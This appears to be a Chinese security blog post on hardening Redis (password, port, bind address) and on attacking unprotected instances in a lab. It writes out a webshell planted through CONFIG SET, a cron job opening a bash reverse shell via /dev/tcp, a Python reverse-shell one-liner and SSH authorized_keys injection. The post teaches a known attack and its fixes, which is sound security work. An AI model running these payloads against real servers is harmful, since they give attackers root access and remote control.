Redis配置及攻击利用
Redis配置及攻击利用
Redis及其安全配置
Redis介绍
redis默认会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器;redis可以被外部用户每秒尝试150k次密码,这意味着需要高强度的密码;极度BT的可能会重命名redis中的config命令...
Redis常用命令
| redis-cli -h 目标IP -p 指定端口 | 连接redis |
|---|---|
| FLUASHALL | 清除数据库 |
| auth password | 使用password登录 |
| save | 更新rdb缓存 |
| info | 查看版本、服务器信息 |
| set x "Zh1z3ven" | 将x键值设为Zh1z3ven |
| get x | 获取key为x的值 |
| KEYS * | 查看所有键 |
| CONFIG GET dir | 获取默认redis dir |
| CONFIG GET dbfilename | 获取rdb文件名 |
| CONFIG SET dir | 重设dir路径 |
| CONFIG SET dbfilename | 重设rdb文件名 |
Redis配置文件&安全设置
主要分为设置访问密码,修改默认端口,绑定ip。
//设置访问密码
#
# requirepass foobared
//设置默认port
# Accept connections on the specified port, default is 6379.
# If port 0 is specified Redis will not listen on a TCP socket.
port 6379
//设置绑定IP
# By default Redis listens for connections from all the network interfaces
# available on the server. It is possible to listen to just one or multiple
# interfaces using the "bind" configuration directive, followed by one or
# more IP addresses
#
# Examples:
#
# bind 192.168.1.100 10.0.0.1
# bind 127.0.0.1
0x01 开启密码访问设置
#
requirepass 123456
此时通过未授权的方式无法正常登录

使用密码登录的两种姿势
# 0x01
redis-cli -h 192.168.124.153 -p 6380
ip:port>auth password
# 0x02
redis-cli -h 192.168.124.153 -p 6380 -a password
0x02 修改默认端口
默认绑定在6379 可以在配置文件redis.cong中修改
修改为6380,重启redis
# Accept connections on the specified port, default is 6379.
# If port 0 is specified Redis will not listen on a TCP socket.
port 6380

0x03 修改绑定IP
在这里通常会有一个认知误区,就是这个绑定IP不是绑定外来访问的地址(比如公网ip或同段内网ip)而是绑定自己服务器允许作为与外部进行连接的ip地址比如环回ip,内网ip,外网ip;绑定0.0.0.0的话就是绑定自己服务器全部的ip,那绑定自己外网ip和0.0.0.0是没什么区别的,在没有高强度密码保护的情况下很不安全。
绑定回环ip

回环ip可连接,同段ip已无法访问


设置绑定内网ip


ps:如果想要确保redis安全,还是需要高强度密码+合适的bind ip且最好不要暴露在外网
redis的攻击利用
写入webshell
前提条件
1.可连接redis(未授权或弱口令)并执行redis指令
2.开了web服务器,并且知道路径,还需要具有文件读写增删改查权限(我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)
利用过程
注意写入webshell的时候在一句话两边加上/r/n的换行符,因为用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
192.168.124.153:6379> config set dir /var/www/html
OK
192.168.124.153:6379> config set dbfilename shell.php
OK
192.168.124.153:6379> set webshell "\r\n\r\n<?php phpinfo() ?>/r/n/r/n"
OK
192.168.124.153:6379>
观察靶机已成功写入


利用计划任务反弹shell
反弹shell还是要根据实际情况来,比如ubuntu和centos反弹的命令会有区别,一般是因为sh软链接指向的是dash还是bash,一般反弹shell是bash,而dash的shell只有运行脚本的能力没有交互能力所以反弹ubuntu的shell可能需要换脚本.
参考文章:https://blog.csdn.net/sdb5858874/article/details/81837440
攻击机监听端口
nc -lvvp 22222
redis写入反弹shell的计划任务
每分钟反弹一次shell
192.168.124.153:6379> set xxx "\r\n\r\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.124.141/22222 0>&1\n\r\n\r"
OK
192.168.124.153:6379> config set dir /var/spool/cron
OK
192.168.124.153:6379> config set dbfilename root
OK
192.168.124.153:6379> save
OK
192.168.124.153:6379>
python版本
*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
导入ssh私钥远程登录
当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。
利用过程
生成ssh私钥
root@kali:~/.ssh# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:4VEO6Gjtb4l0aSNyPFzhNzjXwLJ2g8x2/JoP27KVpuM root@kali
The key's randomart image is:
+---[RSA 3072]----+
| .... |
| . o+o |
| + +oB.o |
| o o.%oO . |
| . + +SB + |
| . O = .. |
| + B o.o+ |
| . + =B |
| . .E=o |
+----[SHA256]-----+
root@kali:~/.ssh# ls
1.txt id_rsa id_rsa.bak id_rsa.pub known_hosts
将新生成的id_rsa保存在redis.txt文件中
root@kali:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > redis.txt
root@kali:~/.ssh# ls
1.txt id_rsa id_rsa.bak id_rsa.pub known_hosts redis.txt
将保存的redis.txt写入redis
cat ~/.ssh/redis.txt | redis-cli -h 192.168.124.153 -p 6380 -a 123456 -x set crack
登录redis查看私钥是否写入,并将路径改为/root/.ssh
192.168.124.153:6380> flushall
OK
192.168.124.153:6380> config set dir /home/root/.ssh
OK
192.168.124.153:6380> config set dbfilename authorized_keys
OK
192.168.124.153:6380> cat redis.txt | redis-cli -h 192.168.124.153 -x set crack
(error) ERR unknown command 'cat'
192.168.124.153:6380> get crack
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDB6GBUIZ5ftcFpS4Twkk9NTsp77/uZZDMRomxAF66aCux2QOL/0WAuZXZho62lxJVI0AL+MSkbcJznsyR/ZONTDzKHu6hXaq6IohWQ78dvOLcGmPUqUVptn0Ed5Bx4VGk2o6yKoSTWVzfgzRWgGsodA4e8lGNAz+cdM9I6ot+l4quiGD6AgrepSRmQBCbPEyVyVAZtYOqSieVXyFGtIr26C3uutemyzYtG9hVSjdcNNFGNRa3ZOn0W2zRirQh+PI4/lZGP2rT8Dilh1qv2ntlXZ0F8Dh/wAxTR1CquhUst9V89ilbOW/tPDg4oDTqL3H9uuyajhQw/nl8uqAmcKGDsoUUSBg+DUnXEFLgQqvsmwFC5LkV1hF4+JGiYgFPb2wd7x0+eRnCC7s7QaodFXqlYmcdqQK6rDTUMVVx3n9uZ2asemYYr6V1lpFW17QMwh1lBNwHGTl8xRiE4DQXp0Bpk2/jYF+5CP2k1Dwz0Fd+rNYH8/hACf1/8ZFjj1IJ+MRk= root@kali\n\n\n\n"
192.168.124.153:6380> save
OK
ssh
ssh -i id_rsa root@192.168.124.153

修复建议
1、设置bind ip
2、开启访问密码认证
3、修改默认端口
4、做好acl访问控制,redis服务不要暴露在外网
Redis配置及攻击利用的更多相关文章
- 转:中间人攻击利用框架bettercap测试
0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名 ...
- redis 配置应用(摘)
Redis可以在没有配置文件的情况下通过内置的配置来启动,但是这种启动方式只适用于开发和测试. 合理的配置Redis的方式是提供一个Redis配置文件,这个文件通常叫做redis.conf. redi ...
- CentOS6.5下Tomcat7 Nginx Redis配置步骤
所有配置均在一台机器上完成,部署拓扑信息如下: 注意:由于Redis配置对jar包和tomcat版本比较严格,请务必使用tomcat7和本文中提供的jar包.下载地址: http://pan.baid ...
- Redis配置参数详解
Redis配置参数详解 /********************************* GENERAL *********************************/ // 是否作为守护进 ...
- Redis配置不当致使root被提权漏洞
Redis配置不当致使root被提权漏洞 Dear all~ 最近Redis服务被曝出因配置不当,可能造成数据库被恶意清空,或被黑客利用写入后门文件造成进一步入侵,请关注! 一.漏洞发布日期 2015 ...
- 中间人攻击利用框架bettercap测试
0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名 ...
- Linux下中间人攻击利用框架bettercap测试
0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名的莫过于ettercap,而开发bettercap的目的不是为了追赶它,而是替代它 ...
- redis配置参数简介
redis配置查看方式: 1.redis的安装目录查看redis.conf 2.登陆redis客户端,使用 config get xx命令. 比如:查看所有的配置: config get * [roo ...
- Redis配置讲解及实战
前言 Redis是一个开源的内存k-v数据库,同时也可用作缓存,消息队列.支持多种数据类型,如字符串,列表,字典,集合,有序集合. 演示环境 $ uname -a Darwin Darwin Kern ...
随机推荐
- linux进程后台运行的几种方法 - nohup/setsid/&
linux进程后台运行的几种方法 - nohup/setsid/& [转载] 我们经常会碰到这样的问题,用 telnet/ssh 登录了远程的 Linux 服务器,运行了一些耗时较长的任务 ...
- maven与eclipse的集成
由于篇幅问题,本文将不介绍maven的安装和配置. 一.maven的概念 Maven(翻译为"专家","内行")是跨平台的项目管理工具.主要服务于基于Java平 ...
- Linux学习之路(RPM和YUM)
rpm包的管理 介绍: 一种用于互联网下载包的打包及安装工具(类似windows中的setup).它包含在某些Linux分发版中.它生成具有RPM扩展名的文件.RPM是RedHat软件包管理工具缩写, ...
- uni-app app端 人脸识别
在听到人脸识别,哇塞!感觉来个个高大上的,去阿里 腾讯 看他们的人脸识别方法,官方sdk什么的. 到后来,需求确定了,拍照(照片)上传,后台去识别是不是本人,这一瞬间从天堂到地狱,放着官方那么好的方法 ...
- 如何使用Jdk查看源码?
先看再点赞,给自己一点思考的时间,如果对自己有帮助,微信搜索[程序职场]关注这个执着的职场程序员.我有什么:职场规划指导,技能提升方法,讲不完的职场故事,个人成长经验. 最近,有很多读者问我,有没有j ...
- 通过MMIO的方式实现VIRTIO-BLK设备(一)
背景知识 什么是VIRTIO 使用完全虚拟化,Guest不加任何修改就可以运行在任何VMM上,VMM对于Guest是完全透明的.但每次I/O都将导致CPU在Guest模式与Host模式间切换,在I/O ...
- SpringBoot自动装配原理之Configuration以及@Bean注解的使用
Configuration以及Bean注解的使用 该知识点在Spring中应该学过,没有学过或者遗忘的的朋友需要预习或温习前置知识点.SpringBoot其实就是Spring的进一步简化,所以前置知识 ...
- 《快来为你的 .NET 应用加个监控吧!》更新版本啦
目录 导读 三种方式处理监控数据 主动推送 ASP.NET Core 自定义URL .NET diagnostics 自定义监控指标 导读 CZGL.ProcessMetrics 是一个 Metric ...
- java+selenium UI自动化001
selenium是一个用于Web应用程序测试的工具,可以用来模拟用户在浏览器上的操作. 支持的浏览器包括IE(7, 8, 9, 10, 11),Mozilla Firefox,Safari,Googl ...
- c语言:逗号运算符
#include <stdio.h> main() { int a,s,d; s=2,d=3; a=12+(s+2,d+4); printf("%d\n",a); in ...